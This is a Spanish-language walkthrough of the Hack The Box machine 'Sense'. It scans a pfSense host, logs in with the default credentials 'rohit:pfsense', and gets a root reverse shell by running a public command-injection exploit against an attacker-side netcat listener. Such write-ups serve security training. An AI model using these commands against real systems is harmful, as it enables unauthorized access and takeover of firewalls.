Sense

Sistema operativo | Dificultad | Fecha de Lanzamiento | Creador |
---|---|---|---|
Linux | Easy | 21 Octubre 2017 | lkys37en |
Reconocimiento
Iniciamos como siempre, lanzando una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.
Enumeración inicial
Realizamos un escaneo con nmap
para descubrir que puertos TCP se encuentran abiertos en la máquina víctima. Lanzamos una serie de script básicos de enumeración propios de nmap
, para conocer la versión y servicio que esta corriendo bajo los puertos.
nmap -sS -sCV -p- --open --min-rate 5000 -Pn -n 10.10.10.60 -oN scan -vvv
Enumeración de servicios
Nos encontramos con un software comercial llamado pfSense.
Podemos probar buscar credenciales por defecto de este aplicativo, pero no funcionan.
admin:pfsense
Podemos buscar la versión del software haciendo web fuzzing
gobuster dir -u http://10.10.10.60/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -x php,txt -k -r
Después de realizar fuzzing, encontramos un archivo interesante el cual revela un posible usuario y da detalles de cual sería la contraseña.
Explotación inicial
El usuario sería rohit
y la contraseña la predeterminada del software. Si recordamos, al buscar credenciales por defecto la contraseña era pfsense
.
Si probamos logearnos con las credenciales rohit:pfsense
tenemos acceso al sistema.
rohit:pfsense
Podemos observar que la versión es 2.1.3-RELEASE (amd64)
.
Si hacemos una búsqueda con esta versión podemos encotrar el siguiente exploit:
pfSense < 2.1.4 - ‘status_rrd_graph_img.php’ Command Injection
Traemos el exploit a nuestro directorio de trabajo para poder utilizarlo.
Antes de ejecutar el exploit, debemos ponernos en escucha con netcat.
nc -nlvp 443
Ejecutamos el exploit, pansando los parámetros correspondientes:
python3 43560.py --rhost 10.10.10.60 --lhost 10.10.14.23 --lport 443 --username 'rohit' --password 'pfsense'
Ganamos acceso al sistema como el usuario root
.
Obtenemos las flags de user.txt
y root.txt